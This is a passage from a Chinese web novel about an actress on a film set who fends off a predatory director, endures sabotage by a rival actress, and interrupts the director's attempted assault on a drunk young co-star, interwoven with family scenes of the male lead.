女人还是主动起来放得开。想到眼前的女人主动投怀送抱，刘聪热血贲张。
不过今天一屋子投资人等着，他也没想现在上手，掏出一张名片往江遥随身的包里一塞：“宝贝，考虑好了联系我。”
江遥正在装傻按兵不动还是直接发酒疯中举棋不定，房门突然被敲响，中止了她未遂的念头。服务生的声音传进来：“不好意思，请问里面有人吗？”
刘聪整了整衣领，拉开门不知道说了什么，带着服务生离开了。
听脚步声慢慢远去，江遥抬手将头发捋顺，揉了揉僵硬的两颊，让自己脸上的表情不至于太过嫌恶。
过了几分钟，伸手拉开门。
程绪倚在对面墙上，手指夹着一根烟不断翻转，越转越快，差点把细瘦的烟从中折断。看到对面门再次打开，他不自觉停下手中的动作，站定，似笑非笑地望着出来的女人。
不知他在那儿站了多久，或者是否察觉到了什么，江遥猜不透他高深莫测的表情，干脆心一横。以她粗浅的演技估计逃不过大影帝的火眼金睛，大忙人应该也没空散播她一个路人甲的桃色绯闻。
恰巧这会儿心情不好，她也懒得装模作样，就这么自我开解一番，江遥直接无视他，脚步不停，径直越过他远去。
瞧着还挺能耐，被别人欺负怎么不吭声。程绪咬咬牙，突然有种想来一根烟的冲动，摸遍了口袋也没找到打火机，干脆一把折断丢进了一旁的垃圾箱里。
刘聪去而复返，饭桌上一切如常。大家默契地仿佛什么都没发生，继续推杯换盏，从电影本身、当下热点到圈内趣闻无所不谈，宾主尽欢。除了江遥一直没有再回来。
小鱼接到江遥的电话时，还钻在商场的人堆里，和大爷大妈比拼手速。窝在小镇上个把月，好不容易出来放放风，她现在就像刚从乡下进城，看什么都觉得新鲜。
两人打车回剧组，关于为什么提前离席，江遥什么都没说，只交代她给导演发个信息。
看她一脸疲态，小鱼也知趣地没有多问。
片场再见面，江遥满脸歉意：“不好意思导演，昨天确实不胜酒力，扫了您的兴致。”
“后来怎么回去的?完全断片了。”她拍了拍额头，扬起夸张的语调。
对于江遥的解释，刘聪全盘接受。酒后是否断片，反正无从查证。他也许信，也许不信。但他内心足够笃定，现在的她，早已没有硬气的资本。好不容易攀上一个好角色，自然不舍得自砸饭碗。他们，来日方长。
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>转眼就是中秋，母亲许婉清早早打来电话，软硬兼施，让儿子今年务必回家过节。
自从进圈拍戏，看似相对自由的行程，其实总有诸多不确定性。随着咖位越大，这种不确定性也逐步增大。那些年里程绪都没怎么着家，更别提陪他们夫妻过中秋了。
而后来，儿子被他父亲发配基层，忙得恨不得长出三头六臂，将一天掰成两天来用，好不容易打个电话，话没讲完又得匆匆挂断。对此，她一向怨念颇深。作为母亲，却只能通过秘书的嘴里，知道他最近又做出了多少成绩。
念及此，许婉清怒从心起，狠狠挖了沙发上的人一眼：“晚点他回来你要再念叨，我就收拾东西跟儿子过去。”
接收到妻子的目光，程元峰将杂志一合，赶紧移到妻子的身旁，拢着她的肩膀哄道：“别生气别生气，自己身子最重要。我尽量。”
“尽……量……？”许婉清受不了他这敷衍的样子，双肩一耸将他的手拱开，背对着不理人。
佣人们正在里里外外打扫房间，准备食材，安静有序地忙碌着。即使有人走过，也早对这对夫妻的腻歪见怪不怪。年近半百，仍一个愿打一个愿挨。
“少爷回来了！”有佣人通报。
远远望见车子驶进地下车库，赵姨解下围裙，兴冲冲迎了出去。今天过节，小绪也难得回来，她亲自下厨，给他做了几道爱吃的菜。
赵姨是程绪的保姆，年轻时，程元峰忙于工作，开疆拓土，将程家的事业版图进一步扩张。许婉清也对各种交际场合乐此不疲，下午茶、舞会、晚宴、拍卖会、公益活动等等，实在分身乏术。陪伴程绪最多的，反而是赵姨。
他就像传说中别人家的孩子，不用父母操心，也能长成他们期待中的样子。甚至，远远超出他们的预期。
放在其他家，谁不羡慕并感叹一声“祖坟冒青烟”。
当然，如果他是程家的小孩，那就得另当别论。作为程元峰的儿子，优秀，是他必须且唯一的出路。
程绪曾很多次庆幸，幸好，他的运气还不错。否则，作为这偌大家族的唯一继承人，如果天资平平，父母该有多失望，而他自己，面对拼尽全力也够不着的东西，又该如何自洽。
程绪走进客厅，许婉清顾不上闹别扭，一把推开程元峰，高兴地站起身，拉着他的手上上下下逡巡：“又瘦了。”
他一听这熟悉的开头，不由警铃大作，赶忙阻止母亲的发挥：“妈，千万别，我这出去才几天。”
程元峰听到儿子进门，眼也没抬，拿着一份报纸看得正认真。程绪走近冲他点头招呼，他淡淡应了句：“回来了。”
“嗯。”
饭桌上，满满一桌丰盛的菜肴，应景地烘托着节日的气氛。一家三口都没有进食时交流的习惯，席间安静得落针可闻。
许婉清怕儿子吃不饱，只好不断给他夹菜，程绪的碗上瞬间隆起一座小山，简直无从下口。
他无奈地望着她，阻止道：“妈！”
只见母亲又接过赵姨递过来的勺子，舀了一碗鸡汤放在他手旁：“来尝尝，赵姨特意给你炖的汤，她亲戚从老家带过来的土鸡，慢火熬了几个小时，正好适合给你补补身子。”
知道母亲的心思，程绪来者不拒，端过鸡汤饮尽。陪着再稍坐了会儿，拉开椅子起身要走：“我吃饱了，下午还有事。”
程元峰克制不住脾气，“啪”地把筷子丢在桌上，发出一声脆响，怒气冲冲道：“是谁教你的，这么目无尊长。让你回集团上班也不听……对外可别说是我儿子……”
话未说完，声音戛然而止。
9. 醉酒
许婉清在桌下狠狠碾了丈夫一脚，安抚儿子：“别听你爸瞎说，你知道他这人，刀子嘴豆腐心。其实他每天都念叨你呢。”
估计是自己也觉得可信度太低，许婉清越说越没底气，最后只能讪讪道：“父子哪有隔夜仇，过几天就好了。”
程绪无可无不可地牵牵嘴角，心领神会了父亲的未尽之意。毕竟当初，类似的话语他早已亲身领教。
“对外可别说是我儿子，丢人！”回忆深处，是彼时更年轻些的父亲在咆哮。
好好一个家宴不欢而散，赵姨叹了口气，指挥着佣人上前收拾桌上的狼藉。
看到程绪碗里被单独撇在一旁的洋葱，摇头失笑：“这孩子，还是这么挑食。”
今年中秋又在剧组度过，组里给所有工作人员都发了月饼，仪式感拉满。小鱼还收到了其他老师的投喂，捧着各式各样的月饼高高兴兴拍照发朋友圈，围观的人很容易被她的快乐感染，江遥当初看到就觉得喜欢。之后，小鱼成了她的助理。
清早出工，江遥就顺手在群里给老江和母上大人发了个红包，那会儿老两口估计还没醒，毫无动静。中午收工，再拿起手机一看，乔女士已经一个人将大戏唱完。
六点多估计是刚刚起来，乔女士看到红包马上点开并拍了拍老江，再配合感谢表情包，一套操作很是熟练。半小时前，群里刚发了张图片，满桌子的美食看得人垂涎欲滴，乔女士在那边温柔询问：「馋不馋？」
这俩人吃得还挺丰盛。江遥低头看了看手里端着的盒饭，瞬间觉得不香了。
晚上剧组小规模聚会，曾芜和李然都去，江遥便也跟着一起去蹭饭。
问了一圈大家都能吃辣，于是他们一拍即合，地点定在了附近一家烧烤摊。
剧组盒饭为照顾所有人口味，大多以清淡适宜为主。天知道，江遥的馋虫已经被乔女士勾动，准备今天放开膀子来一顿。
他们收工不算早，加上卸妆、换衣服等琐事又耽误了点时间，到店时已近9点。
平常这个点应该烧烤摊上正热闹的时候，今天或许是要回家团圆，摊子附近摆放的小板凳上竟然显得颇为空荡，只角落里远远坐了几个人，无形中似乎成了他们这群人的专场。
有人之前下戏也会过来吃夜宵，已经和老板混了个脸熟。老板热情地拿着菜单过来，热情招呼：“你们来得正好，再晚点我们就要收摊回去过节了。”
幸好幸好，没有白来一趟。众人对视一眼，默契地齐声道一句“中秋快乐”，一边加快了点餐的进度。“唰唰”将各自想吃的菜品勾上，等会儿爱吃什么拿什么，之前来吃过的同事也热情推荐了几道招牌菜品。
众人坐下等待，江遥左边坐着曾芜，右边则是剧中的绯闻男友李然。
其实曾芜一直很想找机会问问江遥那晚的情况，不过她看江遥似乎丝毫没放在心上，特意提起反倒徒增尴尬。所以有时候话已转到嘴边，终究也只能无奈咽下。
入圈这么多年，她早已明白同事关系点到为止就好，何况是他们这个圈子，多一事不如少一事。太过热心，反倒让人怀疑居心不良。
按理说她和江遥算不上太过相熟，这样的同事关系，一年拍戏下来能累积很多。也许是剧里姐妹相称，让她给江遥蒙上了厚厚的楚云滤镜。她莫名相信，江遥不是愿意沾染污泥的人，而且，有足够的魄力，为其舍弃一些虚无的东西。
老板端着盘子走出后厨，香味老远就被风卷着飘过来。大家齐齐转头，馋虫大动，一路目送着老板越走越近。
曾芜打量了下旁边的江遥，娇媚的眼睛，此刻溢满对食物全然的期待，就像不曾受过伤害。
而江遥不知道她转过了多少念头，正专心致志对付眼前的烤串。
“这个兰花干好吃，又香又有嚼劲。”化妆姐姐吃了一口兰花干，赞不绝口。
“这碗嗦螺也不错，处理得挺干净，就是这个壳，啧，怎么吸不出来。”道具小哥被嗦螺拦住。
“我来我来，看我示范。”有人自告奋勇，演示正确吃嗦螺的姿势。
“里脊肉快尝尝，五星推荐，包值的。”服装小妹妹又举着几串里脊肉开始卖安利。
桌上吵吵嚷嚷，烟火气十足。
经过这几个月的相处，从彼此陌生到配合越来越默契，有些人虽然并没有太相熟，但同在一个剧组就算缘分不浅。当前剧情拍摄已经进入尾声，有相聚，就终将有别离，这也是大家不言的默契。而此刻，但求尽兴。
李然看江遥满脸笑意，接受了好几个人的投喂，吃得脸颊红扑扑的，不知道是热的还是兴奋的。
他也不甘落后，献宝似的拿出自己珍藏的家底，朝江遥面前伸了伸：“姐，这个也好吃，你尝尝。”
江遥默默凝视了那绿油油的韭菜几秒，敬谢不敏。
私人饭局，没那么多规矩。有人点了啤酒下菜，桌上已经撂起高高的空酒瓶，不喝的也没人劝酒。
江遥最近对酒有心理阴影，完全没碰。
不知何时，旁边李然拿起了屏啤酒，正在“咕咚咕咚”对嘴喝。
“小小年纪，挺有魄力啊。”江遥笑着调侃。
摆完姐姐的谱，江遥又低声和曾芜沟通了下各自对角色的理解。
虽然刘聪不太做人，但她很幸运，能遇到楚云这个角色，以及和曾芜这样的演员合作。透过曾芜，让她对之后的年岁有了更多期待。
那天饭局，曾芜的举动，江遥也一直铭记在心。奈何，如今人微言轻。
用力拉回飘散的思绪，高兴的日子不能煞风景。江遥摸了摸肚子，估计还能填上几个串，伸手拿起一串化妆姐姐夸得天花乱坠的兰花干，正待细细品尝，突然耳尖地听到一声抽噎，来自她的右手边。
桌上众人要不还在全力奋战，要不三三两两凑在一起举杯闲侃。声音嘈杂，压住了那声低低的抽噎，暂时没有什么人留心到异样。
江遥转过头，不可置信地发现，刚才还举着韭菜想推销的李然，这么一会儿功夫就开始埋头垂泪。
“怎么了怎么了？”江遥摇了摇他胳膊，“好好吃着东西怎么突然就哭了。”
看着他面前横卧着的空啤酒瓶，她恍然大悟，继而不敢置信：敢情这家伙一瓶啤酒的量都没有？那还喝什么喝？
对于没有分寸的人，江遥向来没什么好声气，本想放任不理。但看小孩哭得正兴起，一桌这么多人，指不定走漏了什么风声。
她拉起李然的胳膊，想扶他出去醒醒酒，但男孩子毕竟人高马大，醉了更是行为不太能自控，曾芜留意到她的举动，看她动作吃力，也赶紧过来帮忙。
有人望过来，江遥摆摆手示意没事：“李然喝醉了，我们扶他上一旁醒醒酒。”
把他扶到一旁的板凳上坐下，江遥蹲在一旁看
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着他到底还想发什么酒疯。
不成想李然喝醉了倒算比较安静，抽噎了几声就开始握着手机发呆，望夫石一般一动不动，仿佛想钻进屏幕里，看看里边是否有什么消息。江遥揣测着他的举动，突然联想起那天和小鱼闲逛，在街道旁的偶遇，以及他和孟棠不远不近的距离。
怎么回事，难道真的被她乌鸦嘴猜中了？三角关系？
呃，如果是这样，那她也不会处理。
江遥坐在一旁，看李然已经趴着桌子睡了过去。嘴角微弯，他的梦，应该是甜的。
梦中人，却不一定拥有美梦。
孟棠今晚回家了一趟，本打算陪父亲吃一顿饭就算完成任务。不料，任务终止在了成功前的十五分钟。
虽然她也曾多次扪心自问，对家庭和谐早就没报太多期待，但今晚还是没有很好控制住四蹿的怒火。
她一向讨厌父亲的强势，却仿佛，仍在不知不觉中蒙上他的影子。不知从什么时候开始，两人一碰头，就没有多少消停的时候。
本来平平淡淡一桌饭快吃完，孟岩非要哪壶不开提哪壶。
提及她的婚事，家里总免不了一场争吵。
享受着家族的供养长大，婚姻就是自愿奉上的筹码。不管年少时如何任性，最终仍要回归原本的设定，孟棠从小深知这个道理。何况，她还是独生女，家族的兴盛，她有义务出一份力。
所以在一开始，她就放低了姿态，把自己幻想成某人的所有物，而后被无情丢弃。
而在父亲眼里，只会觉得她没出息。
狠狠跌过一跤，孟棠自问不会再重蹈覆辙。
甩上家门离开，孟棠一脚油门踩到底，性能极佳的跑车带来的极致快感，让她从现实中短暂抽离。
车子停靠在路边，黑暗里，孟棠拿起手机，短信箱里躺着一条陌生号码早上发来的信息：「中秋快乐。」
手指一按，确认删除。
最近没有方琦的戏份，她出组参加了几场商务活动，今早才匆匆赶来剧组。
“又见面了。”江遥待在组里仿佛越发水灵，穿着校服，整个人少年气十足。方琦略带担忧地抚上眼角，最近在几个城市间连轴往返，自己整个人疲惫了不少，不知道镜头下会不会漏出疲态。
谢可欣从小没有什么朋友，一个人孤零零到高中，好不容易上天听到她的祈求，让品学兼优的楚彤走近她，和她成为了朋友。但烦恼随之而来，两人越熟悉，楚云这个不相干的名字出现频率也就越高。楚彤总是或开心或忧虑地向她提起，自己的妹妹如何如何……仿佛活生生的自己，只是横插住俩姐妹中间的多余者。
所以知道姐妹俩关系紧张的时候，她无时无刻不在琢磨着，怎么让楚云不好过。而刚巧，自己喜欢的男孩，也偏偏眼神不好，喜欢和楚云这种人做朋友。
这天放学路上，她假装脚下趔趄，本想推楚云下水，奈何偷鸡不成蚀把米，自己控制不住身形跌了出去。
楚云看穿了她拙劣的演技，却做不到眼睁睁看着生命流逝，生怕自己一念之差，酿成不可挽回的后果。于是，她拉住了谢可欣。但年少的她，还是低估了人性的恶意，她刚刚拉回来的生命，甫一站定就给了她重重一击。
“扑通……”池塘溅起阵阵水花，是楚云不甘的叹息。
前面的剧情拍摄非常顺利，但江遥落水时的戏份，总被NG。
10. 不请自来
“谢可欣表情不对。”
导演一喊卡，方琦立马鞠躬道歉：“不好意思导演，是我的问题。”
又匆匆跑到刚被从水下捞起的江遥面前，帮她又是披毛巾又是理头发，一脸诚恳：“遥遥你没事吧?我最近行程太赶精神不太好，连累你了。”
好在这个季节天气不算冷，江遥不想深究，摆摆手示意没关系，准备再次入水。
刘聪将方琦的言辞尽收眼底，表面看来两人确实很是和睦，但方琦和江遥不怎么对付，他是知道的。当初方琦经纪人知道试镜结果时，情绪上头，讲起江遥可没几个中听的字。
有的人脊梁太硬，是该给点教训才知道疼。他玩味地看了方琦一眼，伸手指挥：“再来一次。”
“刚刚推的时候力道没控制好，导演，可以再来一遍吗?”几个人站在监视器前看回放，方琦指着自己的动作，再次提出请求。
在方琦的“失误”下，江遥一遍遍被推入水，捞起，再重重砸落。
“抱歉遥遥。”
“不好意思，耽误大家时间了。”
“导演，我能休息调整一下吗?”
……
江遥自问最近没得罪这号人，不知道她怎么突然不顾外人在场开始发疯。
小池塘水不算深，但小镇居民污水垃圾都喜欢往里丢，经过一个夏天的发酵，味道颇有一点难闻。
被方琦这么一折腾，江遥低头嗅了嗅，自己现在仿佛一个移动的潲水桶。
再这么拍下去也是白费功夫，导演拍了拍手，让大家中场休息。
方琦蹲在一旁望着水面出神，再失误就太明显了，她只是想让她小小长个教训。
江遥悄无声息站到了她身后，倒吓了她一跳。她正想回头解释，江遥在她借口吐出来之前，微微弯腰，凑近耳边低声警告：“有时候应该适可而止一点，你觉得呢?”
休息结束，方琦收起小心思。她的演技在同龄人中本就还不错，此时和江遥打擂台，自然精神更足。她可不想被人永远压一头。
所有人不掉线的时候，效率极高，一遍过。
小鱼赶忙冲上前用毛毯将江遥团团围住，又从保温桶里倒了碗姜汤递到她面前让她喝。
江遥看她忙前忙后，无奈道：“现在是二十度，不是零下二度，都要捂出汗了。”
小鱼自有一套道理：“也不知道上次是谁拍完淋雨戏就发烧了。”
“我妈说，年轻时候不注意保养，老了有得你受的。”
江遥端起保温杯一饮而尽，耳边瞬间清净。
晚上困意早早来袭，小鱼替她关上灯，轻轻带上房门。
迷迷糊糊中，突然听到门外传来敲门声，不轻不重，“咚咚咚”响几声，间隔一会儿又是连续三声。凝神听了一阵，确实敲的是自己的房门。
小鱼知道她已经休息，谁会这个时候来找她呢?江遥本不想理，但门外的人仿佛很有耐心，吵醒隔壁的人就不好了。她起身穿上拖鞋，拉开了房门。
门外，走廊的声控灯已经熄灭，江遥将门打开一条缝，伸出脑袋，房里冷白的灯光透过微敞的房门照在地面。
只见光尚未照到的阴影中，刘聪手里拿着一盒感冒灵，看江遥开门，走出几步站到光里，将手里的东西笑着往前一递：“之前听你助理说你体质不太好，正好我房间里有感冒药，快吃两粒预防一下。”
配合他坦坦荡荡的表情，仿佛深夜十一点敲女演员的门再正常不过。
姑且不说他们压根不住同一楼层，离收工也过去了好几个小时，现在吃感冒药预防是否有用。导演关心演员身体，确实没什么值得指摘的余地。
江遥也不扭捏，伸手接过，感激道：“谢谢导演考虑周到，为我一个人耽误剧组进度确实不太好。”
她装作不明白他的意思，只哐哐给刘聪戴高帽，将他的举动美化成，怕演员生病耽误拍戏，所以深夜送温暖的热心导演。刘聪都有点疑惑，自己真有那么大格局么?
实在太困了，江遥强撑精神说了几句感谢的话，准备关门继续睡觉。刘聪眼疾手快，伸手撑住了门框，笑问：“不请我进去坐坐?”
该来的还是来了。
江遥面露难色，迟疑道：“房间比较乱，时间也挺晚的了。”
“没关系，我不介意。”刘聪只选择自己想听的部分回答。
我挺介意的，江遥腹诽。怕其他人突然开门看到，只想快点把他打发走。
空荡的走廊里突然传来啪嗒啪嗒的响声，估计是刚吃完宵夜回来的人。粗哑的男声低低哼着歌，穿着拖鞋踢踢踏踏地往这边走。
越走越近，走廊灯随着渐近的脚步一盏盏亮起，很快就能看清不远处对峙的两人。
江遥内心焦急，脸上却没有表露痕迹，只是手扶着门边一直没松手。刘聪一寸寸扫过她的神情，没有窥见丝毫意动。
越难攀折的花，越能彰显拥有者的格调。她的拒绝，只能激起他更深的惦念。
见今晚没有转圜的余地，刘聪闪身躲进黑暗里，不见了身影。
江遥关上门，默默抵在门框上平复呼吸。
踢踢踏踏的脚步声继续走近、走近，路过她的房门，又慢慢远去。江遥疑心自己甚至能听到他房卡刷开门的声音，不一会儿，房门合上，整片空间重归寂静。
她这才发觉，不知何时背脊上已经爬上了一层热汗。
不远处有人开门探出头，嘟嘟囔囔：“大晚上还让不让人睡了。”
剧组即将杀青，这几天在集中拍摄其他角色的戏份。小鱼赖在江遥的房间不肯动，一个打游戏，一个刷纪录片，倒也自得其乐。
经纪人Susie打来电话，通知江遥有个代言需要她回去签约。
江遥巅峰期，她的名字就代表着源源不断的流量，也曾大牌代言拿到手软。姣好的容颜、能打的作品、庞大的流量，共同推导出她的光明前景。众多品牌纷纷押宝，各大热门商圈都能看到她的巨幅海报。
而后，一代新人换旧人。
“这人之前不是挺火吗，走哪都有她广告，怎么突然就撤了?”
“实绩跟不上流量，那就是虚假繁荣。迟早的事儿。”
“我听说她……”
路过的行人叽叽喳喳地讨论。
所以现在，她的第一反应是：“你确定没搞错?还有大牌能主动找我?”
Susie被她的反
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应逗笑，知道她看不见，也再次肯定地点头：“没有听错，人家创始人指名要你江遥。”
“图什么啊。”江遥纳闷。
江遥打好招呼，带着小鱼搭最近的航班飞回A城，Susie已经在公司坐等。
见面后，给她大致讲了讲这个大乌龙。
小鱼听到一半，一激动嗓门就开始往上扬：“意思是方琦到嘴的鸭子飞了?还又飞到咱姐碗里了?”
Susie比了个“嘘”的手势，提醒她小点声。
“我就说她好好的怎么突然发神经。”她后知后觉，找到了方琦前阵子在组里作妖的原因。
原来方琦这半年一直在和某服装品牌接洽，作为新兴的设计师品牌，H&F横空出世，并且来势汹汹，近几年圈内许多艺人都以能穿这个牌子特别定制的礼服出席活动为荣。
本以为只差临门一脚，甚至团队联系营销号提前帮忙造势，放出了即将代言的风声。
前阵子出组，她特意飞国外和品牌创始人会面，如无意外即将有新代言入账。
但偏偏，出了意外。
也许是本人性格使然，也许是出于艺术家的孤傲，这位近些年才逐渐在国际上崭露头角的设计师，从他们碰面起就没有太多话，只维持着基本的社交礼貌。
经纪人看出她的忐忑，出言安抚：“有才华的人调子高点也很正常，咱们顺利签下合同就好。”
直到对方听说她是轻音娱乐的艺人，突然像是来了兴趣，却只是操着不太标准的中文向她打听，他们公司是不是有个叫江遥的艺人。
方琦愣着没有接话，一旁的工作人员已经将江遥的履历翻了出来。
就这样，很突然地，代言人选从方琦换成了江遥。
事儿不算大，但侮辱性极强。
如果最后官宣是江遥代言，那些方琦提前发出去的通稿要怎么收场。小鱼都替他们尬得慌。
而江遥想破脑袋也没想明白，这位创始人是看中了她什么。
Freya本人解答了她的疑惑。
碰面的时候，江遥只觉得这人好像有那么一丝丝眼熟。但是她眼神一般，看走眼了也说不准的。
Freya热心地给了她提示：《问情》剧组。
那是江遥拍的第一部戏，彼时的她还是素人一枚，Freya则是剧组一名名不见经传的服装师，经常被带教的师傅骂。
她心灰意冷，觉得自己实在不是吃这碗饭的料。而江遥鼓励她，或许你只是待在了不适合的位置，我看你的设计稿很大胆有灵气，要不试试现代服饰呢?Freya笑着答应了。
当时气氛正好，他们约好顶峰相见，以后江遥拍戏请她来做服装指导。
她只当那是随口一个玩笑，这样的笑话一般人一年内都不知道要讲出多少。
直到后来在异国他乡漂泊，看到屏幕里的江遥真像她期许的那样，站上了顶峰，艳光四射，那么耀眼迷人。她突然想重拾，当年那玩笑般的约定。
后来忙忙碌碌，也没太多时间关注国内的新闻，只知道她签约轻音娱乐，前程似锦。
再后来，那么多一线艺人纷纷向她伸出橄榄枝，而她再未碰到过江遥。
11. 少年
组里的人陆续杀青，这天，是李然在《双生花开》剧组的最后一场戏。
工作人员笑着送上鲜花，他怀抱花束，在镜头里开怀大笑，目光却仿佛在无意识寻找着什么。
孟棠烈焰红唇从天而降的场景仿佛还在昨日，而他即将告别他们的最后一丝联系。
晚上的宴会，李然再次喝醉了。
上次的醉酒让他仿佛打开了新世界大门，被酒精麻痹的脑子一片空白，再也想不起其他，而他沉迷于这样的虚幻。
回到酒店，他连走路都踉踉跄跄，在大堂碰到导演一行，眯缝着眼睛看了好一会儿才看清，赶忙立正站好，来了个90度大鞠躬：“大家晚上好，这段时间多谢大家的照顾！”直起身时大幅度晃了晃。
一行人被他逗得直笑：“腰再低点头就能直接磕头了。”
刘聪看他眼神涣散站立不稳，伸出手拉住他的手臂，摆摆手让其他人先走：“我送他回房。”
其他人一叠声答应：“导演辛苦了。”
“导演拜拜~”
“导演人真好。”
签完合同，江遥又赶忙飞回了剧组，连着拍了几天重头戏。今天早起，感觉浑身没什么力气，还以为是昨晚没怎么吃东西精力不济，没当回事照常出工，计划着中午饱餐一顿。
不想等到晚上，头开始隐隐作痛。小鱼自学过几套按摩手法，看她眉头紧锁，伸出手：“我给你揉揉。”
江遥让开身子，背对着小鱼坐下。小鱼手指一碰到江遥的皮肤，就被滚烫的热意吓到：“怎么这么烫！发烧了吧？”
她赶紧掏出手机搜索附近的医院，结果显示最近的在十几公里之外。几分钟后，约的车已经到了楼下，小鱼匆匆给江遥找出外套披上，两人收拾了东西一起下楼。
电梯里，李然安静地被刘聪托着腰，低垂着睫毛盯着自己的鞋尖不说话，看起来无比乖巧。
电梯门打开，看到江遥站在门外，神思瞬间恢复了一丝清明，冲她挥手傻笑：“遥遥姐，拜拜～～”一看就是又醉了。
刘聪一句多余的解释都没有，带着李然就要走。
自从上次之后，江遥尽量不会和刘聪单独在一个空间多待，对方想必也是明白了她的意思。坐到这个位置，他估计也不缺人自荐枕席，没有心思跟她一个不识趣的女人空耗。所以近期二人倒是相安无事。
电梯下行，司机打开车门，立在一旁等客人上车。小鱼看着江遥越走越慢，以为她支撑不住，搭着她的胳膊蹙眉问道：“不舒服吗？再坚持一下。”
不想江遥突然下定了什么决心似的，直接站定：“我们先不去了。”说完匆匆往酒店里走。
小鱼不知道发生了什么，只好跟司机说一声抱歉，付了双倍的车钱，急忙追上江遥。
电梯迟迟不来，江遥连按了几下上行键。
本来就头痛欲裂，此时脑海中还在天人交战。她一边怀疑是自己在以最大的恶意揣度人心，一边又怕真被自己猜中无法收场。对于刘聪，她实在没有太多信心。
21楼，房间内，雪白的床单上少年无知无觉地睡着，鼻腔喷出微热的气息。虽然身上还带着淡淡的酒气，但味道并不重，和清爽的少年气息混合在一起，一点也不难闻。
刘聪站在床边看了一会儿，渐渐心猿意马。李然算不上多么帅气，却干净清秀，足够赏心悦目。
年少时他也是什么花样都玩过，成名后到底有所顾忌，近些年更是收敛了很多。鲜嫩的少年，他已经许久没有尝过。何况，是他主动求他的不是么?
弯腰替他脱了鞋子，将腿摆平，刘聪迅速脱掉衣服钻进了浴室。
江遥直接按下21楼，一边打发小鱼去敲李然的房门。小鱼看她神色凝重，倒也没这会儿非要追着问个究竟。
在圈子里翻滚过几年，她也不是毫无知觉，只是不放心她的身体状况：“你一个人能行吧?我一会儿就来，有事给我打电话。”
江遥一一应下。
21楼只有导演一个人住，江遥走出电梯，还微微有点发怵。
她自问并不是个多么热心的人，但少年笑呵呵冲她挥手的身影，有着对她全然的亲近。她不忍心，看少年寥落，明珠蒙尘。
可如果是她想错，深更半夜自己主动摸上导演的房间又算什么?但此时已容不得她想太多。
浴室热意蒸腾，刘聪为方便行事，只围了块浴巾。
刚才还趴在床上睡得香甜的少年，不知道什么时候已经坐了起来，摸着后脑勺四处张望，好似搞不清楚状况。
刘聪不由有点扫兴，这么快就酒醒了，倒失了不少乐趣。
谁知李然张张口，朝着他道：“姐，你来了?”
刘聪：……
得，这人估计已经是人畜不分了。刘聪差点被他气笑，又暗暗放下悬着的心，有些东西，太清醒就不好玩了。
他搓搓手，哄着李然脱掉上衣，心底一喜，原来少年看着清瘦的身体，却藏有块块腹肌。他看了看自己孕五月的肚子，叹了口气，到底和年轻人不能比。
迫不及待拆开床头的盒子往身下一套，又伸手去解少年的裤头。谁知刚刚还任他摆弄的李然，突然浑身一激灵，死命抓紧了自己的腰带：“你走！你走！姐姐说不能随便脱！”
刘聪被他一噎，仿佛误入了什么幼稚园，迎面被泼了一盆冷水。
到底半途而废也不是他的作风，他继续哄劝着，李然却已经对他失去了信任，挣扎间在他身上挠出了血痕。
“别给脸不要脸。”刘聪彻底阴沉了神色。
李然被他的表情吓到，潜意识里察觉到危险，缩着身子不断往后退。
“咚咚咚。”门外传来敲门声。
刘聪正烦躁得很，门外的敲门声却越来越响，大有不开门就能把门捶破的阵仗。
他倒要看看是哪个不长眼的东西这会儿来触霉头。
找到裤子套上，气势汹汹地拉开了门。
门外，宽大的外套遮住了女人窈窕的身形，他却螚想见底下是怎样动人的风情。
“找我有事吗？”他瞬间切换笑脸，温声询问。
“关于明天的戏，我有几个地方还不太
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明白，想请教下导演您……”江遥知道自己借口找得拙劣。探头往里看了眼，刘聪堵在门前，什么都看不见。
刘聪倒也不觉得江遥这举动有什么稀奇，无非是想明白，最终还是舍不得资源和钱财罢了。
他看着江遥，就像看着已经迈入他狩猎范围的小鹿，多了几分耐心，就这么站在门口陪她周旋着。
房间内的人，却气得不轻，掏出手机找最亲近的人告状：“姐，你怎么还不来看我……”
说着说着又开始呜咽了起来，好不伤心：“有坏人欺负我，我很听话的，没有随便脱……”
听着话筒里传来的阵阵“呜呜”声，程绪嫌弃地拿远了手机，朝她冷冷看了眼，仿佛在说：你什么时候开始好的这一口？
孟棠坐在一旁讪笑，本想让他帮忙打发走这个小尾巴，谁知道小尾巴今天变了花样，开始一哭二闹。
然而听清楚后半截话，她又面色一冷，转念就明白了李然话里的意思。这个行当，碰到什么都不稀奇。
她接过手机：“你在哪里？”
李然听到孟棠终于肯跟他说话了，喜滋滋立马接道：“我在酒店，你要来看我吗？”
“知道了。”
孟棠肃着面容，指挥司机直奔剧组酒店。
门口站久了，江遥觉得脑袋已经开始天旋地转。
她用仅存的理智分析，刘聪光着上身，身上还有着新鲜的抓痕，屋子里这会儿应该是有人。看来她猜对了。陪她在门口站了这么久也没有进一步的举动，应该是不方便她进门。
“刘导，不请我进去坐坐?”她干脆撑着门框借点力气，将他那天的话原样照搬。
刘聪倒是想，但目前条件不允许啊。
“刘导，不请我进去坐坐？”
李然或许也不知道自己的手机收音效果这么强，轻飘飘一句话就这么顺着话筒轰在了某人的身上。
杨越开着车，内心的小人已经在疯狂跑跳：好家伙，刘聪玩这么大的么。
“开快点。”之前还端坐后排的男人却彻底失去了耐心，冷声催促。
杨越收敛心神，一脚将油门踩到底。
小鱼找到李然的房门，敲了半天都没有回应，到底不放心江遥。上到21楼，远远看到江遥披着外套站在导演房门口，不知道在说着什么。
实在不放心她的状况，想了想还是走过去，悄声询问：“姐，你还好吗？没事要不我们先下去休息？”
车子刚刚停稳，程绪直接迈步走了下去，杨越和孟棠被他远远甩在身后。
房间里，闹了这么一阵，李然已经渐渐清醒，捂着脸在床上滚了一圈。听到江遥的声音，实在不知道该如何应对接下来的场景。
“叮……”电梯再次停靠21层，有人三步并作两步走了过来。
江遥回头看清来人的身影，心下一松，仿佛失去了全部的力气，身子不由向地面滑落。
有意识的最后一秒，她想，好歹自己也是个女明星，千万不能脸着地。
迷迷糊糊中，却感觉跌进了一个柔软的怀抱里。
12. 绮梦
江遥醒来的时候，昏暗的房间空无一人，只有走廊的灯透过门上的玻璃照进来。
“29床呼叫……”
“42床呼叫……42床呼叫……”
各种呼叫铃声，来往的脚步声交杂在一起，此起彼伏。不是在熟悉的酒店。
江遥想起自己最后倒下的瞬间，不知道小鱼是怎么把她弄来的医院，刘聪那里现在又是什么情况。
李然应该没事吧？她试探着叫了小鱼一声，无人回应。
撑着手想坐起身，却感觉到有东西牵扯着手臂，随着她的动作带来丝丝缕缕痛意，视线往上，原来是挂着吊瓶。
冷不防一道不带温度的声音从一侧响起：“别动。”
